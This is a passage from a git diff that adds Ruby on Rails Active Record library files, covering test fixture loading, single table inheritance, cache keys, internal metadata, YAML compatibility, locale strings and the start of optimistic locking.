+    end
+
+    def size
+      fixtures.size
+    end
+
+    # Returns a hash of rows to be inserted. The key is the table, the value is
+    # a list of rows to insert to that table.
+    def table_rows
+      now = config.default_timezone == :utc ? Time.now.utc : Time.now
+
+      # allow a standard key to be used for doing defaults in YAML
+      fixtures.delete("DEFAULTS")
+
+      # track any join tables we need to insert later
+      rows = Hash.new { |h, table| h[table] = [] }
+
+      rows[table_name] = fixtures.map do |label, fixture|
+        row = fixture.to_hash
+
+        if model_class
+          # fill in timestamp columns if they aren't specified and the model is set to record_timestamps
+          if model_class.record_timestamps
+            timestamp_column_names.each do |c_name|
+              row[c_name] = now unless row.key?(c_name)
+            end
+          end
+
+          # interpolate the fixture label
+          row.each do |key, value|
+            row[key] = value.gsub("$LABEL", label.to_s) if value.is_a?(String)
+          end
+
+          # generate a primary key if necessary
+          if has_primary_key_column? && !row.include?(primary_key_name)
+            row[primary_key_name] = ActiveRecord::FixtureSet.identify(label, primary_key_type)
+          end
+
+          # Resolve enums
+          model_class.defined_enums.each do |name, values|
+            if row.include?(name)
+              row[name] = values.fetch(row[name], row[name])
+            end
+          end
+
+          # If STI is used, find the correct subclass for association reflection
+          reflection_class =
+            if row.include?(inheritance_column_name)
+              row[inheritance_column_name].constantize rescue model_class
+            else
+              model_class
+            end
+
+          reflection_class._reflections.each_value do |association|
+            case association.macro
+            when :belongs_to
+              # Do not replace association name with association foreign key if they are named the same
+              fk_name = (association.options[:foreign_key] || "#{association.name}_id").to_s
+
+              if association.name.to_s != fk_name && value = row.delete(association.name.to_s)
+                if association.polymorphic? && value.sub!(/\s*\(([^\)]*)\)\s*$/, "")
+                  # support polymorphic belongs_to as "label (Type)"
+                  row[association.foreign_type] = $1
+                end
+
+                fk_type = reflection_class.type_for_attribute(fk_name).type
+                row[fk_name] = ActiveRecord::FixtureSet.identify(value, fk_type)
+              end
+            when :has_many
+              if association.options[:through]
+                add_join_records(rows, row, HasManyThroughProxy.new(association))
+              end
+            end
+          end
+        end
+
+        row
+      end
+      rows
+    end
+
+    class ReflectionProxy # :nodoc:
+      def initialize(association)
+        @association = association
+      end
+
+      def join_table
+        @association.join_table
+      end
+
+      def name
+        @association.name
+      end
+
+      def primary_key_type
+        @association.klass.type_for_attribute(@association.klass.primary_key).type
+      end
+    end
+
+    class HasManyThroughProxy < ReflectionProxy # :nodoc:
+      def rhs_key
+        @association.foreign_key
+      end
+
+      def lhs_key
+        @association.through_reflection.foreign_key
+      end
+
+      def join_table
+        @association.through_reflection.table_name
+      end
+    end
+
+    private
+      def primary_key_name
+        @primary_key_name ||= model_class && model_class.primary_key
+      end
+
+      def primary_key_type
+        @primary_key_type ||= model_class && model_class.type_for_attribute(model_class.primary_key).type
+      end
+
+      def add_join_records(rows, row, association)
+        # This is the case when the join table has no fixtures file
+        if (targets = row.delete(association.name.to_s))
+          table_name  = association.join_table
+          column_type = association.primary_key_type
+          lhs_key     = association.lhs_key
+          rhs_key     = association.rhs_key
+
+          targets = targets.is_a?(Array) ? targets : targets.split(/\s*,\s*/)
+          rows[table_name].concat targets.map { |target|
+            { lhs_key => row[primary_key_name],
+              rhs_key => ActiveRecord::FixtureSet.identify(target, column_type) }
+          }
+        end
+      end
+
+      def has_primary_key_column?
+        @has_primary_key_column ||= primary_key_name &&
+          model_class.columns.any? { |c| c.name == primary_key_name }
+      end
+
+      def timestamp_column_names
+        @timestamp_column_names ||=
+          %w(created_at created_on updated_at updated_on) & column_names
+      end
+
+      def inheritance_column_name
+        @inheritance_column_name ||= model_class && model_class.inheritance_column
+      end
+
+      def column_names
+        @column_names ||= @connection.columns(@table_name).collect(&:name)
+      end
+
+      def model_class=(class_name)
+        if class_name.is_a?(Class) # TODO: Should be an AR::Base type class, or any?
+          @model_class = class_name
+        else
+          @model_class = class_name.safe_constantize if class_name
+        end
+      end
+
+      # Loads the fixtures from the YAML file at +path+.
+      # If the file sets the +model_class+ and current instance value is not set,
+      # it uses the file value.
+      def read_fixture_files(path)
+        yaml_files = Dir["#{path}/{**,*}/*.yml"].select { |f|
+          ::File.file?(f)
+        } + [yaml_file_path(path)]
+
+        yaml_files.each_with_object({}) do |file, fixtures|
+          FixtureSet::File.open(file) do |fh|
+            self.model_class ||= fh.model_class if fh.model_class
+            fh.each do |fixture_name, row|
+              fixtures[fixture_name] = ActiveRecord::Fixture.new(row, model_class)
+            end
+          end
+        end
+      end
+
+      def yaml_file_path(path)
+        "#{path}.yml"
+      end
+  end
+
+  class Fixture #:nodoc:
+    include Enumerable
+
+    class FixtureError < StandardError #:nodoc:
+    end
+
+    class FormatError < FixtureError #:nodoc:
+    end
+
+    attr_reader :model_class, :fixture
+
+    def initialize(fixture, model_class)
+      @fixture     = fixture
+      @model_class = model_class
+    end
+
+    def class_name
+      model_class.name if model_class
+    end
+
+    def each
+      fixture.each { |item| yield item }
+    end
+
+    def [](key)
+      fixture[key]
+    end
+
+    alias :to_hash :fixture
+
+    def find
+      if model_class
+        model_class.unscoped do
+          model_class.find(fixture[model_class.primary_key])
+        end
+      else
+        raise FixtureClassNotFound, "No class attached to find."
+      end
+    end
+  end
+end
+
+module ActiveRecord
+  module TestFixtures
+    extend ActiveSupport::Concern
+
+    def before_setup # :nodoc:
+      setup_fixtures
+      super
+    end
+
+    def after_teardown # :nodoc:
+      super
+      teardown_fixtures
+    end
+
+    included do
+      class_attribute :fixture_path, instance_writer: false
+      class_attribute :fixture_table_names, default: []
+      class_attribute :fixture_class_names, default: {}
+      class_attribute :use_transactional_tests, default: true
+      class_attribute :use_instantiated_fixtures, default: false # true, false, or :no_instances
+      class_attribute :pre_loaded_fixtures, default: false
+      class_attribute :config, default: ActiveRecord::Base
+    end
+
+    module ClassMethods
+      # Sets the model class for a fixture when the class name cannot be inferred from the fixture name.
+      #
+      # Examples:
+      #
+      #   set_fixture_class some_fixture:        SomeModel,
+      #                     'namespaced/fixture' => Another::Model
+      #
+      # The keys must be the fixture names, that coincide with the short paths to the fixture files.
+      def set_fixture_class(class_names = {})
+        self.fixture_class_names = fixture_class_names.merge(class_names.stringify_keys)
+      end
+
+      def fixtures(*fixture_set_names)
+        if fixture_set_names.first == :all
+          fixture_set_names = Dir["#{fixture_path}/{**,*}/*.{yml}"].uniq
+          fixture_set_names.map! { |f| f[(fixture_path.to_s.size + 1)..-5] }
+        else
+          fixture_set_names = fixture_set_names.flatten.map(&:to_s)
+        end
+
+        self.fixture_table_names |= fixture_set_names
+        setup_fixture_accessors(fixture_set_names)
+      end
+
+      def setup_fixture_accessors(fixture_set_names = nil)
+        fixture_set_names = Array(fixture_set_names || fixture_table_names)
+        methods = Module.new do
+          fixture_set_names.each do |fs_name|
+            fs_name = fs_name.to_s
+            accessor_name = fs_name.tr("/", "_").to_sym
+
+            define_method(accessor_name) do |*fixture_names|
+              force_reload = fixture_names.pop if fixture_names.last == true || fixture_names.last == :reload
+              return_single_record = fixture_names.size == 1
+              fixture_names = @loaded_fixtures[fs_name].fixtures.keys if fixture_names.empty?
+
+              @fixture_cache[fs_name] ||= {}
+
+              instances = fixture_names.map do |f_name|
+                f_name = f_name.to_s if f_name.is_a?(Symbol)
+                @fixture_cache[fs_name].delete(f_name) if force_reload
+
+                if @loaded_fixtures[fs_name][f_name]
+                  @fixture_cache[fs_name][f_name] ||= @loaded_fixtures[fs_name][f_name].find
+                else
+                  raise StandardError, "No fixture named '#{f_name}' found for fixture set '#{fs_name}'"
+                end
+              end
+
+              return_single_record ? instances.first : instances
+            end
+            private accessor_name
+          end
+        end
+        include methods
+      end
+
+      def uses_transaction(*methods)
+        @uses_transaction = [] unless defined?(@uses_transaction)
+        @uses_transaction.concat methods.map(&:to_s)
+      end
+
+      def uses_transaction?(method)
+        @uses_transaction = [] unless defined?(@uses_transaction)
+        @uses_transaction.include?(method.to_s)
+      end
+    end
+
+    def run_in_transaction?
+      use_transactional_tests &&
+        !self.class.uses_transaction?(method_name)
+    end
+
+    def setup_fixtures(config = ActiveRecord::Base)
+      if pre_loaded_fixtures && !use_transactional_tests
+        raise RuntimeError, "pre_loaded_fixtures requires use_transactional_tests"
+      end
+
+      @fixture_cache = {}
+      @fixture_connections = []
+      @@already_loaded_fixtures ||= {}
+      @connection_subscriber = nil
+
+      # Load fixtures once and begin transaction.
+      if run_in_transaction?
+        if @@already_loaded_fixtures[self.class]
+          @loaded_fixtures = @@already_loaded_fixtures[self.class]
+        else
+          @loaded_fixtures = load_fixtures(config)
+          @@already_loaded_fixtures[self.class] = @loaded_fixtures
+        end
+
+        # Begin transactions for connections already established
+        @fixture_connections = enlist_fixture_connections
+        @fixture_connections.each do |connection|
+          connection.begin_transaction joinable: false
+          connection.pool.lock_thread = true
+        end
+
+        # When connections are established in the future, begin a transaction too
+        @connection_subscriber = ActiveSupport::Notifications.subscribe("!connection.active_record") do |_, _, _, _, payload|
+          spec_name = payload[:spec_name] if payload.key?(:spec_name)
+
+          if spec_name
+            begin
+              connection = ActiveRecord::Base.connection_handler.retrieve_connection(spec_name)
+            rescue ConnectionNotEstablished
+              connection = nil
+            end
+
+            if connection && !@fixture_connections.include?(connection)
+              connection.begin_transaction joinable: false
+              connection.pool.lock_thread = true
+              @fixture_connections << connection
+            end
+          end
+        end
+
+      # Load fixtures for every test.
+      else
+        ActiveRecord::FixtureSet.reset_cache
+        @@already_loaded_fixtures[self.class] = nil
+        @loaded_fixtures = load_fixtures(config)
+      end
+
+      # Instantiate fixtures for every test if requested.
+      instantiate_fixtures if use_instantiated_fixtures
+    end
+
+    def teardown_fixtures
+      # Rollback changes if a transaction is active.
+      if run_in_transaction?
+        ActiveSupport::Notifications.unsubscribe(@connection_subscriber) if @connection_subscriber
+        @fixture_connections.each do |connection|
+          connection.rollback_transaction if connection.transaction_open?
+          connection.pool.lock_thread = false
+        end
+        @fixture_connections.clear
+      else
+        ActiveRecord::FixtureSet.reset_cache
+      end
+
+      ActiveRecord::Base.clear_active_connections!
+    end
+
+    def enlist_fixture_connections
+      ActiveRecord::Base.connection_handler.connection_pool_list.map(&:connection)
+    end
+
+    private
+      def load_fixtures(config)
+        fixtures = ActiveRecord::FixtureSet.create_fixtures(fixture_path, fixture_table_names, fixture_class_names, config)
+        Hash[fixtures.map { |f| [f.name, f] }]
+      end
+
+      def instantiate_fixtures
+        if pre_loaded_fixtures
+          raise RuntimeError, "Load fixtures before instantiating them." if ActiveRecord::FixtureSet.all_loaded_fixtures.empty?
+          ActiveRecord::FixtureSet.instantiate_all_loaded_fixtures(self, load_instances?)
+        else
+          raise RuntimeError, "Load fixtures before instantiating them." if @loaded_fixtures.nil?
+          @loaded_fixtures.each_value do |fixture_set|
+            ActiveRecord::FixtureSet.instantiate_fixtures(self, fixture_set, load_instances?)
+          end
+        end
+      end
+
+      def load_instances?
+        use_instantiated_fixtures != :no_instances
+      end
+  end
+end
+
+class ActiveRecord::FixtureSet::RenderContext # :nodoc:
+  def self.create_subclass
+    Class.new ActiveRecord::FixtureSet.context_class do
+      def get_binding
+        binding()
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/gem_version.rb b/activerecord/lib/active_record/gem_version.rb
new file mode 100644
index 0000000000..7ccb57b305
--- /dev/null
+++ b/activerecord/lib/active_record/gem_version.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # Returns the version of the currently loaded Active Record as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 5
+    MINOR = 2
+    TINY  = 0
+    PRE   = "alpha"
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/activerecord/lib/active_record/inheritance.rb b/activerecord/lib/active_record/inheritance.rb
new file mode 100644
index 0000000000..e3deaafeec
--- /dev/null
+++ b/activerecord/lib/active_record/inheritance.rb
@@ -0,0 +1,254 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/indifferent_access"
+
+module ActiveRecord
+  # == Single table inheritance
+  #
+  # Active Record allows inheritance by storing the name of the class in a column that by
+  # default is named "type" (can be changed by overwriting <tt>Base.inheritance_column</tt>).
+  # This means that an inheritance looking like this:
+  #
+  #   class Company < ActiveRecord::Base; end
+  #   class Firm < Company; end
+  #   class Client < Company; end
+  #   class PriorityClient < Client; end
+  #
+  # When you do <tt>Firm.create(name: "37signals")</tt>, this record will be saved in
+  # the companies table with type = "Firm". You can then fetch this row again using
+  # <tt>Company.where(name: '37signals').first</tt> and it will return a Firm object.
+  #
+  # Be aware that because the type column is an attribute on the record every new
+  # subclass will instantly be marked as dirty and the type column will be included
+  # in the list of changed attributes on the record. This is different from non
+  # Single Table Inheritance(STI) classes:
+  #
+  #   Company.new.changed? # => false
+  #   Firm.new.changed?    # => true
+  #   Firm.new.changes     # => {"type"=>["","Firm"]}
+  #
+  # If you don't have a type column defined in your table, single-table inheritance won't
+  # be triggered. In that case, it'll work just like normal subclasses with no special magic
+  # for differentiating between them or reloading the right type with find.
+  #
+  # Note, all the attributes for all the cases are kept in the same table. Read more:
+  # http://www.martinfowler.com/eaaCatalog/singleTableInheritance.html
+  #
+  module Inheritance
+    extend ActiveSupport::Concern
+
+    included do
+      # Determines whether to store the full constant name including namespace when using STI.
+      # This is true, by default.
+      class_attribute :store_full_sti_class, instance_writer: false, default: true
+    end
+
+    module ClassMethods
+      # Determines if one of the attributes passed in is the inheritance column,
+      # and if the inheritance column is attr accessible, it initializes an
+      # instance of the given subclass instead of the base class.
+      def new(*args, &block)
+        if abstract_class? || self == Base
+          raise NotImplementedError, "#{self} is an abstract class and cannot be instantiated."
+        end
+
+        attrs = args.first
+        if has_attribute?(inheritance_column)
+          subclass = subclass_from_attributes(attrs)
+
+          if subclass.nil? && base_class == self
+            subclass = subclass_from_attributes(column_defaults)
+          end
+        end
+
+        if subclass && subclass != self
+          subclass.new(*args, &block)
+        else
+          super
+        end
+      end
+
+      # Returns +true+ if this does not need STI type condition. Returns
+      # +false+ if STI type condition needs to be applied.
+      def descends_from_active_record?
+        if self == Base
+          false
+        elsif superclass.abstract_class?
+          superclass.descends_from_active_record?
+        else
+          superclass == Base || !columns_hash.include?(inheritance_column)
+        end
+      end
+
+      def finder_needs_type_condition? #:nodoc:
+        # This is like this because benchmarking justifies the strange :false stuff
+        :true == (@finder_needs_type_condition ||= descends_from_active_record? ? :false : :true)
+      end
+
+      # Returns the class descending directly from ActiveRecord::Base, or
+      # an abstract class, if any, in the inheritance hierarchy.
+      #
+      # If A extends ActiveRecord::Base, A.base_class will return A. If B descends from A
+      # through some arbitrarily deep hierarchy, B.base_class will return A.
+      #
+      # If B < A and C < B and if A is an abstract_class then both B.base_class
+      # and C.base_class would return B as the answer since A is an abstract_class.
+      def base_class
+        unless self < Base
+          raise ActiveRecordError, "#{name} doesn't belong in a hierarchy descending from ActiveRecord"
+        end
+
+        if superclass == Base || superclass.abstract_class?
+          self
+        else
+          superclass.base_class
+        end
+      end
+
+      # Set this to true if this is an abstract class (see <tt>abstract_class?</tt>).
+      # If you are using inheritance with ActiveRecord and don't want child classes
+      # to utilize the implied STI table name of the parent class, this will need to be true.
+      # For example, given the following:
+      #
+      #   class SuperClass < ActiveRecord::Base
+      #     self.abstract_class = true
+      #   end
+      #   class Child < SuperClass
+      #     self.table_name = 'the_table_i_really_want'
+      #   end
+      #
+      #
+      # <tt>self.abstract_class = true</tt> is required to make <tt>Child<.find,.create, or any Arel method></tt> use <tt>the_table_i_really_want</tt> instead of a table called <tt>super_classes</tt>
+      #
+      attr_accessor :abstract_class
+
+      # Returns whether this class is an abstract class or not.
+      def abstract_class?
+        defined?(@abstract_class) && @abstract_class == true
+      end
+
+      def sti_name
+        store_full_sti_class ? name : name.demodulize
+      end
+
+      def inherited(subclass)
+        subclass.instance_variable_set(:@_type_candidates_cache, Concurrent::Map.new)
+        super
+      end
+
+      protected
+
+        # Returns the class type of the record using the current module as a prefix. So descendants of
+        # MyApp::Business::Account would appear as MyApp::Business::AccountSubclass.
+        def compute_type(type_name)
+          if type_name.start_with?("::".freeze)
+            # If the type is prefixed with a scope operator then we assume that
+            # the type_name is an absolute reference.
+            ActiveSupport::Dependencies.constantize(type_name)
+          else
+            type_candidate = @_type_candidates_cache[type_name]
+            if type_candidate && type_constant = ActiveSupport::Dependencies.safe_constantize(type_candidate)
+              return type_constant
+            end
+
+            # Build a list of candidates to search for
+            candidates = []
+            name.scan(/::|$/) { candidates.unshift "#{$`}::#{type_name}" }
+            candidates << type_name
+
+            candidates.each do |candidate|
+              constant = ActiveSupport::Dependencies.safe_constantize(candidate)
+              if candidate == constant.to_s
+                @_type_candidates_cache[type_name] = candidate
+                return constant
+              end
+            end
+
+            raise NameError.new("uninitialized constant #{candidates.first}", candidates.first)
+          end
+        end
+
+      private
+
+        # Called by +instantiate+ to decide which class to use for a new
+        # record instance. For single-table inheritance, we check the record
+        # for a +type+ column and return the corresponding class.
+        def discriminate_class_for_record(record)
+          if using_single_table_inheritance?(record)
+            find_sti_class(record[inheritance_column])
+          else
+            super
+          end
+        end
+
+        def using_single_table_inheritance?(record)
+          record[inheritance_column].present? && has_attribute?(inheritance_column)
+        end
+
+        def find_sti_class(type_name)
+          type_name = base_class.type_for_attribute(inheritance_column).cast(type_name)
+          subclass = begin
+            if store_full_sti_class
+              ActiveSupport::Dependencies.constantize(type_name)
+            else
+              compute_type(type_name)
+            end
+          rescue NameError
+            raise SubclassNotFound,
+              "The single-table inheritance mechanism failed to locate the subclass: '#{type_name}'. " \
+              "This error is raised because the column '#{inheritance_column}' is reserved for storing the class in case of inheritance. " \
+              "Please rename this column if you didn't intend it to be used for storing the inheritance class " \
+              "or overwrite #{name}.inheritance_column to use another column for that information."
+          end
+          unless subclass == self || descendants.include?(subclass)
+            raise SubclassNotFound, "Invalid single-table inheritance type: #{subclass.name} is not a subclass of #{name}"
+          end
+          subclass
+        end
+
+        def type_condition(table = arel_table)
+          sti_column = arel_attribute(inheritance_column, table)
+          sti_names  = ([self] + descendants).map(&:sti_name)
+
+          sti_column.in(sti_names)
+        end
+
+        # Detect the subclass from the inheritance column of attrs. If the inheritance column value
+        # is not self or a valid subclass, raises ActiveRecord::SubclassNotFound
+        def subclass_from_attributes(attrs)
+          attrs = attrs.to_h if attrs.respond_to?(:permitted?)
+          if attrs.is_a?(Hash)
+            subclass_name = attrs[inheritance_column] || attrs[inheritance_column.to_sym]
+
+            if subclass_name.present?
+              find_sti_class(subclass_name)
+            end
+          end
+        end
+    end
+
+    def initialize_dup(other)
+      super
+      ensure_proper_type
+    end
+
+    private
+
+      def initialize_internals_callback
+        super
+        ensure_proper_type
+      end
+
+      # Sets the attribute used for single table inheritance to this class name if this is not the
+      # ActiveRecord::Base descendant.
+      # Considering the hierarchy Reply < Message < ActiveRecord::Base, this makes it possible to
+      # do Reply.new without having to set <tt>Reply[Reply.inheritance_column] = "Reply"</tt> yourself.
+      # No such attribute would be set for objects of the Message class in that example.
+      def ensure_proper_type
+        klass = self.class
+        if klass.finder_needs_type_condition?
+          _write_attribute(klass.inheritance_column, klass.sti_name)
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/integration.rb b/activerecord/lib/active_record/integration.rb
new file mode 100644
index 0000000000..6cf26a9792
--- /dev/null
+++ b/activerecord/lib/active_record/integration.rb
@@ -0,0 +1,155 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/filters"
+
+module ActiveRecord
+  module Integration
+    extend ActiveSupport::Concern
+
+    included do
+      ##
+      # :singleton-method:
+      # Indicates the format used to generate the timestamp in the cache key, if
+      # versioning is off. Accepts any of the symbols in <tt>Time::DATE_FORMATS</tt>.
+      #
+      # This is +:usec+, by default.
+      class_attribute :cache_timestamp_format, instance_writer: false, default: :usec
+
+      ##
+      # :singleton-method:
+      # Indicates whether to use a stable #cache_key method that is accompanied
+      # by a changing version in the #cache_version method.
+      #
+      # This is +false+, by default until Rails 6.0.
+      class_attribute :cache_versioning, instance_writer: false, default: false
+    end
+
+    # Returns a +String+, which Action Pack uses for constructing a URL to this
+    # object. The default implementation returns this record's id as a +String+,
+    # or +nil+ if this record's unsaved.
+    #
+    # For example, suppose that you have a User model, and that you have a
+    # <tt>resources :users</tt> route. Normally, +user_path+ will
+    # construct a path with the user object's 'id' in it:
+    #
+    #   user = User.find_by(name: 'Phusion')
+    #   user_path(user)  # => "/users/1"
+    #
+    # You can override +to_param+ in your model to make +user_path+ construct
+    # a path using the user's name instead of the user's id:
+    #
+    #   class User < ActiveRecord::Base
+    #     def to_param  # overridden
+    #       name
+    #     end
+    #   end
+    #
+    #   user = User.find_by(name: 'Phusion')
+    #   user_path(user)  # => "/users/Phusion"
+    def to_param
+      # We can't use alias_method here, because method 'id' optimizes itself on the fly.
+      id && id.to_s # Be sure to stringify the id for routes
+    end
+
+    # Returns a stable cache key that can be used to identify this record.
+    #
+    #   Product.new.cache_key     # => "products/new"
+    #   Product.find(5).cache_key # => "products/5"
+    #
+    # If ActiveRecord::Base.cache_versioning is turned off, as it was in Rails 5.1 and earlier,
+    # the cache key will also include a version.
+    #
+    #   Product.cache_versioning = false
+    #   Person.find(5).cache_key  # => "people/5-20071224150000" (updated_at available)
+    def cache_key(*timestamp_names)
+      if new_record?
+        "#{model_name.cache_key}/new"
+      else
+        if cache_version && timestamp_names.none?
+          "#{model_name.cache_key}/#{id}"
+        else
+          timestamp = if timestamp_names.any?
+            ActiveSupport::Deprecation.warn(<<-MSG.squish)
+              Specifying a timestamp name for #cache_key has been deprecated in favor of
+              the explicit #cache_version method that can be overwritten.
+            MSG
+
+            max_updated_column_timestamp(timestamp_names)
+          else
+            max_updated_column_timestamp
+          end
+
+          if timestamp
+            timestamp = timestamp.utc.to_s(cache_timestamp_format)
+            "#{model_name.cache_key}/#{id}-#{timestamp}"
+          else
+            "#{model_name.cache_key}/#{id}"
+          end
+        end
+      end
+    end
+
+    # Returns a cache version that can be used together with the cache key to form
+    # a recyclable caching scheme. By default, the #updated_at column is used for the
+    # cache_version, but this method can be overwritten to return something else.
+    #
+    # Note, this method will return nil if ActiveRecord::Base.cache_versioning is set to
+    # +false+ (which it is by default until Rails 6.0).
+    def cache_version
+      if cache_versioning && timestamp = try(:updated_at)
+        timestamp.utc.to_s(:usec)
+      end
+    end
+
+    # Returns a cache key along with the version.
+    def cache_key_with_version
+      if version = cache_version
+        "#{cache_key}-#{version}"
+      else
+        cache_key
+      end
+    end
+
+    module ClassMethods
+      # Defines your model's +to_param+ method to generate "pretty" URLs
+      # using +method_name+, which can be any attribute or method that
+      # responds to +to_s+.
+      #
+      #   class User < ActiveRecord::Base
+      #     to_param :name
+      #   end
+      #
+      #   user = User.find_by(name: 'Fancy Pants')
+      #   user.id         # => 123
+      #   user_path(user) # => "/users/123-fancy-pants"
+      #
+      # Values longer than 20 characters will be truncated. The value
+      # is truncated word by word.
+      #
+      #   user = User.find_by(name: 'David Heinemeier Hansson')
+      #   user.id         # => 125
+      #   user_path(user) # => "/users/125-david-heinemeier"
+      #
+      # Because the generated param begins with the record's +id+, it is
+      # suitable for passing to +find+. In a controller, for example:
+      #
+      #   params[:id]               # => "123-fancy-pants"
+      #   User.find(params[:id]).id # => 123
+      def to_param(method_name = nil)
+        if method_name.nil?
+          super()
+        else
+          define_method :to_param do
+            if (default = super()) &&
+                 (result = send(method_name).to_s).present? &&
+                   (param = result.squish.parameterize.truncate(20, separator: /-/, omission: "")).present?
+              "#{default}-#{param}"
+            else
+              default
+            end
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/internal_metadata.rb b/activerecord/lib/active_record/internal_metadata.rb
new file mode 100644
index 0000000000..14795cc815
--- /dev/null
+++ b/activerecord/lib/active_record/internal_metadata.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require_relative "scoping/default"
+require_relative "scoping/named"
+
+module ActiveRecord
+  # This class is used to create a table that keeps track of values and keys such
+  # as which environment migrations were run in.
+  class InternalMetadata < ActiveRecord::Base # :nodoc:
+    class << self
+      def primary_key
+        "key"
+      end
+
+      def table_name
+        "#{table_name_prefix}#{ActiveRecord::Base.internal_metadata_table_name}#{table_name_suffix}"
+      end
+
+      def []=(key, value)
+        find_or_initialize_by(key: key).update_attributes!(value: value)
+      end
+
+      def [](key)
+        where(key: key).pluck(:value).first
+      end
+
+      def table_exists?
+        connection.table_exists?(table_name)
+      end
+
+      # Creates an internal metadata table with columns +key+ and +value+
+      def create_table
+        unless table_exists?
+          key_options = connection.internal_string_options_for_primary_key
+
+          connection.create_table(table_name, id: false) do |t|
+            t.string :key, key_options
+            t.string :value
+            t.timestamps
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/legacy_yaml_adapter.rb b/activerecord/lib/active_record/legacy_yaml_adapter.rb
new file mode 100644
index 0000000000..23644aab8f
--- /dev/null
+++ b/activerecord/lib/active_record/legacy_yaml_adapter.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module LegacyYamlAdapter
+    def self.convert(klass, coder)
+      return coder unless coder.is_a?(Psych::Coder)
+
+      case coder["active_record_yaml_version"]
+      when 1, 2 then coder
+      else
+        if coder["attributes"].is_a?(AttributeSet)
+          Rails420.convert(klass, coder)
+        else
+          Rails41.convert(klass, coder)
+        end
+      end
+    end
+
+    module Rails420
+      def self.convert(klass, coder)
+        attribute_set = coder["attributes"]
+
+        klass.attribute_names.each do |attr_name|
+          attribute = attribute_set[attr_name]
+          if attribute.type.is_a?(Delegator)
+            type_from_klass = klass.type_for_attribute(attr_name)
+            attribute_set[attr_name] = attribute.with_type(type_from_klass)
+          end
+        end
+
+        coder
+      end
+    end
+
+    module Rails41
+      def self.convert(klass, coder)
+        attributes = klass.attributes_builder
+          .build_from_database(coder["attributes"])
+        new_record = coder["attributes"][klass.primary_key].blank?
+
+        {
+          "attributes" => attributes,
+          "new_record" => new_record,
+        }
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/locale/en.yml b/activerecord/lib/active_record/locale/en.yml
new file mode 100644
index 0000000000..0b35027b2b
--- /dev/null
+++ b/activerecord/lib/active_record/locale/en.yml
@@ -0,0 +1,48 @@
+en:
+  # Attributes names common to most models
+  #attributes:
+    #created_at: "Created at"
+    #updated_at: "Updated at"
+
+  # Default error messages
+  errors:
+    messages:
+      required: "must exist"
+      taken: "has already been taken"
+
+  # Active Record models configuration
+  activerecord:
+    errors:
+      messages:
+        record_invalid: "Validation failed: %{errors}"
+        restrict_dependent_destroy:
+          has_one: "Cannot delete record because a dependent %{record} exists"
+          has_many: "Cannot delete record because dependent %{record} exist"
+        # Append your own errors here or at the model/attributes scope.
+
+      # You can define own errors for models or model attributes.
+      # The values :model, :attribute and :value are always available for interpolation.
+      #
+      # For example,
+      #   models:
+      #     user:
+      #       blank: "This is a custom blank message for %{model}: %{attribute}"
+      #       attributes:
+      #         login:
+      #           blank: "This is a custom blank message for User login"
+      # Will define custom blank validation message for User model and
+      # custom blank validation message for login attribute of User model.
+      #models:
+
+    # Translate model names. Used in Model.human_name().
+    #models:
+      # For example,
+      #   user: "Dude"
+      # will translate User model name to "Dude"
+
+    # Translate model attribute names. Used in Model.human_attribute_name(attribute).
+    #attributes:
+      # For example,
+      #   user:
+      #     login: "Handle"
+      # will translate User attribute "login" as "Handle"
diff --git a/activerecord/lib/active_record/locking/optimistic.rb b/activerecord/lib/active_record/locking/optimistic.rb
new file mode 100644
index 0000000000..e1e24e2814
--- /dev/null
+++ b/activerecord/lib/active_record/locking/optimistic.rb
@@ -0,0 +1,212 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module Locking
+    # == What is Optimistic Locking
+    #
+    # Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of
+    # conflicts with the data. It does this by checking whether another process has made changes to a record since
+    # it was opened, an <tt>ActiveRecord::StaleObjectError</tt> exception is thrown if that has occurred
+    # and the update is ignored.
+    #
+    # Check out <tt>ActiveRecord::Locking::Pessimistic</tt> for an alternative.
+    #
+    # == Usage
+    #
+    # Active Record supports optimistic locking if the +lock_version+ field is present. Each update to the
+    # record increments the +lock_version+ column and the locking facilities ensure that records instantiated twice
+    # will let the last one saved raise a +StaleObjectError+ if the first was also updated. Example:
+    #
+    #   p1 = Person.find(1)
+    #   p2 = Person.find(1)
+    #
+    #   p1.first_name = "Michael"
+    #   p1.save
+    #
+    #   p2.first_name = "should fail"
+    #   p2.save # Raises an ActiveRecord::StaleObjectError
+    #
+    # Optimistic locking will also check for stale data when objects are destroyed. Example:
+    #
+    #   p1 = Person.find(1)
+    #   p2 = Person.find(1)
+    #
+    #   p1.first_name = "Michael"
+    #   p1.save
+    #
+    #   p2.destroy # Raises an ActiveRecord::StaleObjectError
+    #
+    # You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging,
+    # or otherwise apply the business logic needed to resolve the conflict.
+    #
+    # This locking mechanism will function inside a single Ruby process. To make it work across all
+    # web requests, the recommended approach is to add +lock_version+ as a hidden field to your form.
+    #
+    # This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>.
+    # To override the name of the +lock_version+ column, set the <tt>locking_column</tt> class attribute:
+    #
+    #   class Person < ActiveRecord::Base
+    #     self.locking_column = :lock_person
+    #   end
+    #
+    module Optimistic
+      extend ActiveSupport::Concern
+
+      included do
+        class_attribute :lock_optimistically, instance_writer: false, default: true
+      end
+
+      def locking_enabled? #:nodoc:
+        self.class.locking_enabled?
+      end
+
+      private
+
+        def increment_lock
+          lock_col = self.class.locking_column
+          previous_lock_value = send(lock_col)
+          send("#{lock_col}=", previous_lock_value + 1)
+        end
+
+        def _create_record(attribute_names = self.attribute_names, *)
+          if locking_enabled?
+            # We always want to persist the locking version, even if we don't detect
